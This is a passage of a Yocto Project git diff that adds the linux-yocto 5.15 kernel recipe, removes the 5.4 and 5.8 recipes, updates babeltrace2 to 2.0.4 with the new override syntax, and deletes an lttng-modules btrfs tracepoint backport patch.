+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto_5.15.bb b/meta/recipes-kernel/linux/linux-yocto_5.15.bb
new file mode 100644
index 0000000000..a67771eb1b
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto_5.15.bb
@@ -0,0 +1,68 @@
+KBRANCH ?= "v5.15/standard/base"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+# board specific branches
+KBRANCH:qemuarm ?= "v5.15/standard/arm-versatile-926ejs"
+KBRANCH:qemuarm64 ?= "v5.15/standard/qemuarm64"
+KBRANCH:qemumips ?= "v5.15/standard/mti-malta32"
+KBRANCH:qemuppc ?= "v5.15/standard/qemuppc"
+KBRANCH:qemuriscv64 ?= "v5.15/standard/base"
+KBRANCH:qemuriscv32 ?= "v5.15/standard/base"
+KBRANCH:qemux86 ?= "v5.15/standard/base"
+KBRANCH:qemux86-64 ?= "v5.15/standard/base"
+KBRANCH:qemumips64 ?= "v5.15/standard/mti-malta64"
+
+SRCREV_machine:qemuarm ?= "8935caacf2a94b558bb610594d6afd044aa26be3"
+SRCREV_machine:qemuarm64 ?= "17da35e5c5cafd55f8a10d43d8765397eb733399"
+SRCREV_machine:qemumips ?= "71955d634950e6477e594645b8159445e48a875d"
+SRCREV_machine:qemuppc ?= "17da35e5c5cafd55f8a10d43d8765397eb733399"
+SRCREV_machine:qemuriscv64 ?= "17da35e5c5cafd55f8a10d43d8765397eb733399"
+SRCREV_machine:qemuriscv32 ?= "17da35e5c5cafd55f8a10d43d8765397eb733399"
+SRCREV_machine:qemux86 ?= "17da35e5c5cafd55f8a10d43d8765397eb733399"
+SRCREV_machine:qemux86-64 ?= "17da35e5c5cafd55f8a10d43d8765397eb733399"
+SRCREV_machine:qemumips64 ?= "84a301c888e6dda95617c3009a7aace5c31c5048"
+SRCREV_machine ?= "17da35e5c5cafd55f8a10d43d8765397eb733399"
+SRCREV_meta ?= "df57bc53f6ca3fb3b2d3a9e5331ceff533d6f508"
+
+# set your preferred provider of linux-yocto to 'linux-yocto-upstream', and you'll
+# get the <version>/base branch, which is pure upstream -stable, and the same
+# meta SRCREV as the linux-yocto-standard builds. Select your version using the
+# normal PREFERRED_VERSION settings.
+BBCLASSEXTEND = "devupstream:target"
+DEFAULT_PREFERENCE:class-devupstream = "-1"
+SRCREV_machine:class-devupstream ?= "a2547651bc896f95a3680a6a0a27401e7c7a1080"
+PN:class-devupstream = "linux-yocto-upstream"
+KBRANCH:class-devupstream = "v5.15/base"
+
+# remap qemuarm to qemuarma15 for the 5.8 kernel
+# KMACHINE:qemuarm ?= "qemuarma15"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRANCH}; \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.15;destsuffix=${KMETA}"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+LINUX_VERSION ?= "5.15.6"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+DEPENDS += "gmp-native libmpc-native"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "1"
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
+
+COMPATIBLE_MACHINE = "qemuarm|qemuarmv5|qemuarm64|qemux86|qemuppc|qemuppc64|qemumips|qemumips64|qemux86-64|qemuriscv64|qemuriscv32"
+
+# Functionality flags
+KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto_5.4.bb b/meta/recipes-kernel/linux/linux-yocto_5.4.bb
deleted file mode 100644
index c24e5ddc87..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto_5.4.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-KBRANCH ?= "v5.4/standard/base"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-# board specific branches
-KBRANCH_qemuarm ?= "v5.4/standard/arm-versatile-926ejs"
-KBRANCH_qemuarm64 ?= "v5.4/standard/qemuarm64"
-KBRANCH_qemumips ?= "v5.4/standard/mti-malta32"
-KBRANCH_qemuppc ?= "v5.4/standard/qemuppc"
-KBRANCH_qemuriscv64 ?= "v5.4/standard/base"
-KBRANCH_qemux86 ?= "v5.4/standard/base"
-KBRANCH_qemux86-64 ?= "v5.4/standard/base"
-KBRANCH_qemumips64 ?= "v5.4/standard/mti-malta64"
-
-SRCREV_machine_qemuarm ?= "b3bafed66cf1be24caaa9c876d7d9a8298df831b"
-SRCREV_machine_qemuarm64 ?= "370ef947d5b1470e858bae5a300110566c994b9f"
-SRCREV_machine_qemumips ?= "36c2a0b1caef0b2dd6b5777d1939c383238536a8"
-SRCREV_machine_qemuppc ?= "370ef947d5b1470e858bae5a300110566c994b9f"
-SRCREV_machine_qemuriscv64 ?= "370ef947d5b1470e858bae5a300110566c994b9f"
-SRCREV_machine_qemux86 ?= "370ef947d5b1470e858bae5a300110566c994b9f"
-SRCREV_machine_qemux86-64 ?= "370ef947d5b1470e858bae5a300110566c994b9f"
-SRCREV_machine_qemumips64 ?= "971a3cedf9a2a7774fa072b9a13380fb59fd605b"
-SRCREV_machine ?= "370ef947d5b1470e858bae5a300110566c994b9f"
-SRCREV_meta ?= "d626f9108d590d41e82b97cbffc380aa699e86e1"
-
-# remap qemuarm to qemuarma15 for the 5.4 kernel
-# KMACHINE_qemuarm ?= "qemuarma15"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRANCH}; \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.4;destsuffix=${KMETA}"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
-LINUX_VERSION ?= "5.4.78"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "1"
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
-
-COMPATIBLE_MACHINE = "qemuarm|qemuarmv5|qemuarm64|qemux86|qemuppc|qemumips|qemumips64|qemux86-64|qemuriscv64"
-
-# Functionality flags
-KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc"
-KERNEL_FEATURES_append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES_append_qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
-KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "", d)}"
-KERNEL_FEATURES_append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto_5.8.bb b/meta/recipes-kernel/linux/linux-yocto_5.8.bb
deleted file mode 100644
index af576891e2..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto_5.8.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-KBRANCH ?= "v5.8/standard/base"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-# board specific branches
-KBRANCH_qemuarm ?= "v5.8/standard/arm-versatile-926ejs"
-KBRANCH_qemuarm64 ?= "v5.8/standard/qemuarm64"
-KBRANCH_qemumips ?= "v5.8/standard/mti-malta32"
-KBRANCH_qemuppc ?= "v5.8/standard/qemuppc"
-KBRANCH_qemuriscv64 ?= "v5.8/standard/base"
-KBRANCH_qemux86 ?= "v5.8/standard/base"
-KBRANCH_qemux86-64 ?= "v5.8/standard/base"
-KBRANCH_qemumips64 ?= "v5.8/standard/mti-malta64"
-
-SRCREV_machine_qemuarm ?= "14b463d0e5c1e2ff354244420f9bbc7f0ab80533"
-SRCREV_machine_qemuarm64 ?= "3c5d210805d61bea8f8a8081e0e3a89ea8a61f3f"
-SRCREV_machine_qemumips ?= "8d8d9afb396f154f366f32948fdff3cf4e269841"
-SRCREV_machine_qemuppc ?= "3c5d210805d61bea8f8a8081e0e3a89ea8a61f3f"
-SRCREV_machine_qemuriscv64 ?= "3c5d210805d61bea8f8a8081e0e3a89ea8a61f3f"
-SRCREV_machine_qemux86 ?= "3c5d210805d61bea8f8a8081e0e3a89ea8a61f3f"
-SRCREV_machine_qemux86-64 ?= "3c5d210805d61bea8f8a8081e0e3a89ea8a61f3f"
-SRCREV_machine_qemumips64 ?= "01a02b058f9a8941032b298b8d25c673526152f4"
-SRCREV_machine ?= "3c5d210805d61bea8f8a8081e0e3a89ea8a61f3f"
-SRCREV_meta ?= "7883b60d324029d26020c0b3f826b35c52fd9674"
-
-# remap qemuarm to qemuarma15 for the 5.8 kernel
-# KMACHINE_qemuarm ?= "qemuarma15"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRANCH}; \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.8;destsuffix=${KMETA}"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
-LINUX_VERSION ?= "5.8.18"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-DEPENDS += "gmp-native"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "1"
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
-
-COMPATIBLE_MACHINE = "qemuarm|qemuarmv5|qemuarm64|qemux86|qemuppc|qemumips|qemumips64|qemux86-64|qemuriscv64"
-
-# Functionality flags
-KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc"
-KERNEL_FEATURES_append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES_append_qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
-KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "", d)}"
-KERNEL_FEATURES_append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
diff --git a/meta/recipes-kernel/lttng/babeltrace2_2.0.3.bb b/meta/recipes-kernel/lttng/babeltrace2_2.0.3.bb
deleted file mode 100644
index c65882581d..0000000000
--- a/meta/recipes-kernel/lttng/babeltrace2_2.0.3.bb
+++ /dev/null
@@ -1,93 +0,0 @@
-SUMMARY = "Babeltrace2 - Trace Format Babel Tower"
-DESCRIPTION = "Babeltrace provides trace read and write libraries in host side, as well as a trace converter, which used to convert LTTng 2.0 traces into human-readable log."
-HOMEPAGE = "http://babeltrace.org/"
-BUGTRACKER = "https://bugs.lttng.org/projects/babeltrace"
-LICENSE = "MIT & GPLv2 & LGPLv2.1 & BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=a6a458c13f18385b7bc5069a6d7b176e"
-
-DEPENDS = "glib-2.0 util-linux popt bison-native flex-native"
-
-SRC_URI = "git://git.efficios.com/babeltrace.git;branch=stable-2.0 \
- file://run-ptest \
- file://0001-tests-do-not-run-test-applications-from-.libs.patch \
- file://0001-Make-manpages-multilib-identical.patch \
- "
-SRCREV = "91d154476e66735d705adda9ca5cbf5b5eea5940"
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>2(\.\d+)+)$"
-
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig ptest
-
-EXTRA_OECONF = "--disable-debug-info"
-
-PACKAGECONFIG ??= "manpages"
-PACKAGECONFIG[manpages] = ", --disable-man-pages, asciidoc-native xmlto-native"
-
-FILES_${PN}-staticdev += "${libdir}/babeltrace2/plugins/*.a"
-FILES_${PN} += "${libdir}/babeltrace2/plugins/*.so"
-
-ASNEEDED = ""
-
-RDEPENDS_${PN}-ptest += "bash gawk python3"
-
-do_compile_ptest () {
- make -C tests all
-}
-
-do_install_ptest () {
- install -d "${D}${PTEST_PATH}/tests"
-
- # Copy required files from source directory
- for d in $(find "${S}/tests" -type d -printf '%P ') ; do
- install -d "${D}${PTEST_PATH}/tests/$d"
- find "${S}/tests/$d" -maxdepth 1 -executable -type f \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
- find "${S}/tests/$d" -maxdepth 1 -name *.sh \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
- find "${S}/tests/$d" -maxdepth 1 -name *.py \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
- find "${S}/tests/$d" -maxdepth 1 -name *.expect \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
- done
- install -d "${D}${PTEST_PATH}/tests/data/ctf-traces/"
- cp -a ${S}/tests/data/ctf-traces/* ${D}${PTEST_PATH}/tests/data/ctf-traces/
-
- # Copy the tests directory tree and the executables and
- # Makefiles found within.
- install -D "${B}/tests/Makefile" "${D}${PTEST_PATH}/tests/"
- for d in $(find "${B}/tests" -type d -not -name .libs -printf '%P ') ; do
- install -d "${D}${PTEST_PATH}/tests/$d"
- find "${B}/tests/$d" -maxdepth 1 -executable -type f \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
- test -r "${B}/tests/$d/Makefile" && \
- install -t "${D}${PTEST_PATH}/tests/$d" "${B}/tests/$d/Makefile"
- find "${B}/tests/$d" -maxdepth 1 -name *.sh \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
- done
-
- for d in $(find "${B}/tests" -type d -name .libs -printf '%P ') ; do
- for f in $(find "${B}/tests/$d" -maxdepth 1 -executable -type f -printf '%P ') ; do
- cp ${B}/tests/$d/$f ${D}${PTEST_PATH}/tests/`dirname $d`/$f
- done
- done
-
- # Prevent attempts to update Makefiles during test runs, and
- # silence "Making check in $SUBDIR" messages.
- find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
- sed -i \
- -e '/Makefile:/,/^$/d' \
- -e '/%: %.in/,/^$/d' \
- -e '/echo "Making $$target in $$subdir"; \\/d' \
- -e 's/^srcdir = \(.*\)/srcdir = ./' \
- -e 's/^builddir = \(.*\)/builddir = ./' \
- -e 's/^all-am:.*/all-am:/' \
- {} +
-
- # Substitute links to installed binaries.
- install -d "${D}${PTEST_PATH}/src/cli/"
- ln -s "${bindir}/babeltrace2" ${D}${PTEST_PATH}/src/cli/
-
- # Remove architechture specific testfiles
- rm -rf ${D}${PTEST_PATH}/tests/data/plugins/flt.lttng-utils.debug-info/*
-}
diff --git a/meta/recipes-kernel/lttng/babeltrace2_2.0.4.bb b/meta/recipes-kernel/lttng/babeltrace2_2.0.4.bb
new file mode 100644
index 0000000000..2aafe81734
--- /dev/null
+++ b/meta/recipes-kernel/lttng/babeltrace2_2.0.4.bb
@@ -0,0 +1,93 @@
+SUMMARY = "Babeltrace2 - Trace Format Babel Tower"
+DESCRIPTION = "Babeltrace provides trace read and write libraries in host side, as well as a trace converter, which used to convert LTTng 2.0 traces into human-readable log."
+HOMEPAGE = "http://babeltrace.org/"
+BUGTRACKER = "https://bugs.lttng.org/projects/babeltrace"
+LICENSE = "MIT & GPLv2 & LGPLv2.1 & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a6a458c13f18385b7bc5069a6d7b176e"
+
+DEPENDS = "glib-2.0 util-linux popt bison-native flex-native"
+
+SRC_URI = "git://git.efficios.com/babeltrace.git;branch=stable-2.0 \
+ file://run-ptest \
+ file://0001-tests-do-not-run-test-applications-from-.libs.patch \
+ file://0001-Make-manpages-multilib-identical.patch \
+ "
+SRCREV = "23e8cf4e6fdc1d0b230e964dafac08a57e6228e6"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>2(\.\d+)+)$"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig ptest python3targetconfig
+
+EXTRA_OECONF = "--disable-debug-info"
+
+PACKAGECONFIG ??= "manpages"
+PACKAGECONFIG[manpages] = ", --disable-man-pages, asciidoc-native xmlto-native"
+
+FILES:${PN}-staticdev += "${libdir}/babeltrace2/plugins/*.a"
+FILES:${PN} += "${libdir}/babeltrace2/plugins/*.so"
+
+ASNEEDED = ""
+
+RDEPENDS:${PN}-ptest += "bash gawk python3"
+
+do_compile_ptest () {
+ make -C tests all
+}
+
+do_install_ptest () {
+ install -d "${D}${PTEST_PATH}/tests"
+
+ # Copy required files from source directory
+ for d in $(find "${S}/tests" -type d -printf '%P ') ; do
+ install -d "${D}${PTEST_PATH}/tests/$d"
+ find "${S}/tests/$d" -maxdepth 1 -executable -type f \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
+ find "${S}/tests/$d" -maxdepth 1 -name *.sh \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
+ find "${S}/tests/$d" -maxdepth 1 -name *.py \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
+ find "${S}/tests/$d" -maxdepth 1 -name *.expect \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
+ done
+ install -d "${D}${PTEST_PATH}/tests/data/ctf-traces/"
+ cp -a ${S}/tests/data/ctf-traces/* ${D}${PTEST_PATH}/tests/data/ctf-traces/
+
+ # Copy the tests directory tree and the executables and
+ # Makefiles found within.
+ install -D "${B}/tests/Makefile" "${D}${PTEST_PATH}/tests/"
+ for d in $(find "${B}/tests" -type d -not -name .libs -printf '%P ') ; do
+ install -d "${D}${PTEST_PATH}/tests/$d"
+ find "${B}/tests/$d" -maxdepth 1 -executable -type f \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
+ test -r "${B}/tests/$d/Makefile" && \
+ install -t "${D}${PTEST_PATH}/tests/$d" "${B}/tests/$d/Makefile"
+ find "${B}/tests/$d" -maxdepth 1 -name *.sh \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
+ done
+
+ for d in $(find "${B}/tests" -type d -name .libs -printf '%P ') ; do
+ for f in $(find "${B}/tests/$d" -maxdepth 1 -executable -type f -printf '%P ') ; do
+ cp ${B}/tests/$d/$f ${D}${PTEST_PATH}/tests/`dirname $d`/$f
+ done
+ done
+
+ # Prevent attempts to update Makefiles during test runs, and
+ # silence "Making check in $SUBDIR" messages.
+ find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
+ sed -i \
+ -e '/Makefile:/,/^$/d' \
+ -e '/%: %.in/,/^$/d' \
+ -e '/echo "Making $$target in $$subdir"; \\/d' \
+ -e 's/^srcdir = \(.*\)/srcdir = ./' \
+ -e 's/^builddir = \(.*\)/builddir = ./' \
+ -e 's/^all-am:.*/all-am:/' \
+ {} +
+
+ # Substitute links to installed binaries.
+ install -d "${D}${PTEST_PATH}/src/cli/"
+ ln -s "${bindir}/babeltrace2" ${D}${PTEST_PATH}/src/cli/
+
+ # Remove architechture specific testfiles
+ rm -rf ${D}${PTEST_PATH}/tests/data/plugins/flt.lttng-utils.debug-info/*
+}
diff --git a/meta/recipes-kernel/lttng/babeltrace_1.5.8.bb b/meta/recipes-kernel/lttng/babeltrace_1.5.8.bb
index 9e5d3a7a97..9f8b035128 100644
--- a/meta/recipes-kernel/lttng/babeltrace_1.5.8.bb
+++ b/meta/recipes-kernel/lttng/babeltrace_1.5.8.bb
@@ -21,7 +21,7 @@ EXTRA_OECONF = "--disable-debug-info"
ASNEEDED = ""
-RDEPENDS_${PN}-ptest += "bash gawk"
+RDEPENDS:${PN}-ptest += "bash gawk"
addtask do_patch_ptest_path after do_patch before do_configure
do_patch_ptest_path () {
diff --git a/meta/recipes-kernel/lttng/lttng-modules/0001-fix-btrfs-tracepoints-output-proper-root-owner-for-t.patch b/meta/recipes-kernel/lttng/lttng-modules/0001-fix-btrfs-tracepoints-output-proper-root-owner-for-t.patch
deleted file mode 100644
index 956f53d7b7..0000000000
--- a/meta/recipes-kernel/lttng/lttng-modules/0001-fix-btrfs-tracepoints-output-proper-root-owner-for-t.patch
+++ /dev/null
@@ -1,318 +0,0 @@
-From e13a7d262928984154fcf89feb14098e0cd1ad31 Mon Sep 17 00:00:00 2001
-From: Michael Jeanson <mjeanson@efficios.com>
-Date: Tue, 27 Oct 2020 11:42:23 -0400
-Subject: [PATCH 04/11] fix: btrfs: tracepoints: output proper root owner for
- trace_find_free_extent() (v5.10)
-
-See upstream commit :
-
- commit 437490fed3b0c9ae21af8f70e0f338d34560842b
- Author: Qu Wenruo <wqu@suse.com>
- Date: Tue Jul 28 09:42:49 2020 +0800
-
- btrfs: tracepoints: output proper root owner for trace_find_free_extent()
-
- The current trace event always output result like this:
-
- find_free_extent: root=2(EXTENT_TREE) len=16384 empty_size=0 flags=4(METADATA)
- find_free_extent: root=2(EXTENT_TREE) len=16384 empty_size=0 flags=4(METADATA)
- find_free_extent: root=2(EXTENT_TREE) len=8192 empty_size=0 flags=1(DATA)
- find_free_extent: root=2(EXTENT_TREE) len=8192 empty_size=0 flags=1(DATA)
- find_free_extent: root=2(EXTENT_TREE) len=4096 empty_size=0 flags=1(DATA)
- find_free_extent: root=2(EXTENT_TREE) len=4096 empty_size=0 flags=1(DATA)
-
- T's saying we're allocating data extent for EXTENT tree, which is not
- even possible.
-
- It's because we always use EXTENT tree as the owner for
- trace_find_free_extent() without using the @root from
- btrfs_reserve_extent().
-
- This patch will change the parameter to use proper @root for
- trace_find_free_extent():
-
- Now it looks much better:
-
- find_free_extent: root=5(FS_TREE) len=16384 empty_size=0 flags=36(METADATA|DUP)
- find_free_extent: root=5(FS_TREE) len=8192 empty_size=0 flags=1(DATA)
- find_free_extent: root=5(FS_TREE) len=16384 empty_size=0 flags=1(DATA)
- find_free_extent: root=5(FS_TREE) len=4096 empty_size=0 flags=1(DATA)
- find_free_extent: root=5(FS_TREE) len=8192 empty_size=0 flags=1(DATA)
- find_free_extent: root=5(FS_TREE) len=16384 empty_size=0 flags=36(METADATA|DUP)
- find_free_extent: root=7(CSUM_TREE) len=16384 empty_size=0 flags=36(METADATA|DUP)
- find_free_extent: root=2(EXTENT_TREE) len=16384 empty_size=0 flags=36(METADATA|DUP)
- find_free_extent: root=1(ROOT_TREE) len=16384 empty_size=0 flags=36(METADATA|DUP)
-
-Signed-off-by: Michael Jeanson <mjeanson@efficios.com>
-Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
-Change-Id: I1d674064d29b31417e2acffdeb735f5052a87032
-
-Upstream-Status: Backport
-
-Signed-off-by: He Zhe <zhe.he@windriver.com>
----
- instrumentation/events/lttng-module/btrfs.h | 206 ++++++++++++--------
- 1 file changed, 122 insertions(+), 84 deletions(-)
-
-diff --git a/instrumentation/events/lttng-module/btrfs.h b/instrumentation/events/lttng-module/btrfs.h
-index 7b29008..52fcfd0 100644
---- a/instrumentation/events/lttng-module/btrfs.h
-+++ b/instrumentation/events/lttng-module/btrfs.h
-@@ -1856,7 +1856,29 @@ LTTNG_TRACEPOINT_EVENT_INSTANCE(btrfs__reserved_extent, btrfs_reserved_extent_f
-
- #endif /* #else #if (LINUX_VERSION_CODE >= KERNEL_VERSION(4,10,0)) */
-
--#if (LINUX_VERSION_CODE >= KERNEL_VERSION(5,5,0))
-+#if (LINUX_VERSION_CODE >= KERNEL_VERSION(5,10,0) || \
-+ LTTNG_KERNEL_RANGE(5,9,6, 5,10,0) || \
-+ LTTNG_KERNEL_RANGE(5,4,78, 5,5,0))
-+LTTNG_TRACEPOINT_EVENT_MAP(find_free_extent,
-+
-+ btrfs_find_free_extent,
-+
-+ TP_PROTO(const struct btrfs_root *root, u64 num_bytes, u64 empty_size,
-+ u64 data),
-+
-+ TP_ARGS(root, num_bytes, empty_size, data),
-+
-+ TP_FIELDS(
-+ ctf_array(u8, fsid, root->lttng_fs_info_fsid, BTRFS_UUID_SIZE)
-+ ctf_integer(u64, root_objectid, root->root_key.objectid)
-+ ctf_integer(u64, num_bytes, num_bytes)
-+ ctf_integer(u64, empty_size, empty_size)
-+ ctf_integer(u64, data, data)
-+ )
-+)
-+
-+#elif (LINUX_VERSION_CODE >= KERNEL_VERSION(5,5,0))
-+
- LTTNG_TRACEPOINT_EVENT_MAP(find_free_extent,
-
- btrfs_find_free_extent,
-@@ -1874,6 +1896,105 @@ LTTNG_TRACEPOINT_EVENT_MAP(find_free_extent,
- )
- )
-
-+#elif (LINUX_VERSION_CODE >= KERNEL_VERSION(4,18,0))
-+
-+LTTNG_TRACEPOINT_EVENT_MAP(find_free_extent,
-+
-+ btrfs_find_free_extent,
-+
-+ TP_PROTO(const struct btrfs_fs_info *fs_info, u64 num_bytes, u64 empty_size,
-+ u64 data),
-+
-+ TP_ARGS(fs_info, num_bytes, empty_size, data),
-+
-+ TP_FIELDS(
-+ ctf_array(u8, fsid, lttng_fs_info_fsid, BTRFS_UUID_SIZE)
-+ ctf_integer(u64, num_bytes, num_bytes)
-+ ctf_integer(u64, empty_size, empty_size)
-+ ctf_integer(u64, data, data)
-+ )
-+)
-+
-+#elif (LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0))
-+
-+LTTNG_TRACEPOINT_EVENT_MAP(find_free_extent,
-+
-+ btrfs_find_free_extent,
-+
-+ TP_PROTO(const struct btrfs_fs_info *fs_info, u64 num_bytes, u64 empty_size,
-+ u64 data),
-+
-+ TP_ARGS(fs_info, num_bytes, empty_size, data),
-+
-+ TP_FIELDS(
-+ ctf_array(u8, fsid, lttng_fs_info_fsid, BTRFS_UUID_SIZE)
-+ ctf_integer(u64, num_bytes, num_bytes)
-+ ctf_integer(u64, empty_size, empty_size)
-+ ctf_integer(u64, data, data)
-+ )
-+)
-+
-+#elif (LINUX_VERSION_CODE >= KERNEL_VERSION(4,10,0))
-+
-+LTTNG_TRACEPOINT_EVENT_MAP(find_free_extent,
-+
-+ btrfs_find_free_extent,
-+
-+ TP_PROTO(struct btrfs_fs_info *fs_info, u64 num_bytes, u64 empty_size,
-+ u64 data),
-+
-+ TP_ARGS(fs_info, num_bytes, empty_size, data),
-+
-+ TP_FIELDS(
-+ ctf_array(u8, fsid, lttng_fs_info_fsid, BTRFS_UUID_SIZE)
-+ ctf_integer(u64, num_bytes, num_bytes)
-+ ctf_integer(u64, empty_size, empty_size)
-+ ctf_integer(u64, data, data)
-+ )
-+)
-+
-+#elif (LTTNG_SLE_KERNEL_RANGE(4,4,73,5,0,0, 4,4,73,6,0,0) || \
-+ LTTNG_SLE_KERNEL_RANGE(4,4,82,6,0,0, 4,4,82,7,0,0) || \
-+ LTTNG_SLE_KERNEL_RANGE(4,4,92,6,0,0, 4,4,92,7,0,0) || \
-+ LTTNG_SLE_KERNEL_RANGE(4,4,103,6,0,0, 4,5,0,0,0,0))
-+
-+LTTNG_TRACEPOINT_EVENT_MAP(find_free_extent,
-+
-+ btrfs_find_free_extent,
-+
-+ TP_PROTO(const struct btrfs_root *root, u64 num_bytes, u64 empty_size,
-+ u64 data),
-+
-+ TP_ARGS(root, num_bytes, empty_size, data),
-+
-+ TP_FIELDS(
-+ ctf_integer(u64, root_objectid, root->root_key.objectid)
-+ ctf_integer(u64, num_bytes, num_bytes)
-+ ctf_integer(u64, empty_size, empty_size)
-+ ctf_integer(u64, data, data)
-+ )
-+)
-+#elif (LINUX_VERSION_CODE >= KERNEL_VERSION(3,3,0))
-+
-+LTTNG_TRACEPOINT_EVENT_MAP(find_free_extent,
-+
-+ btrfs_find_free_extent,
-+
-+ TP_PROTO(struct btrfs_root *root, u64 num_bytes, u64 empty_size,
-+ u64 data),
-+
-+ TP_ARGS(root, num_bytes, empty_size, data),
-+
-+ TP_FIELDS(
-+ ctf_integer(u64, root_objectid, root->root_key.objectid)
-+ ctf_integer(u64, num_bytes, num_bytes)
-+ ctf_integer(u64, empty_size, empty_size)
-+ ctf_integer(u64, data, data)
-+ )
-+)
-+#endif
-+
-+#if (LINUX_VERSION_CODE >= KERNEL_VERSION(5,5,0))
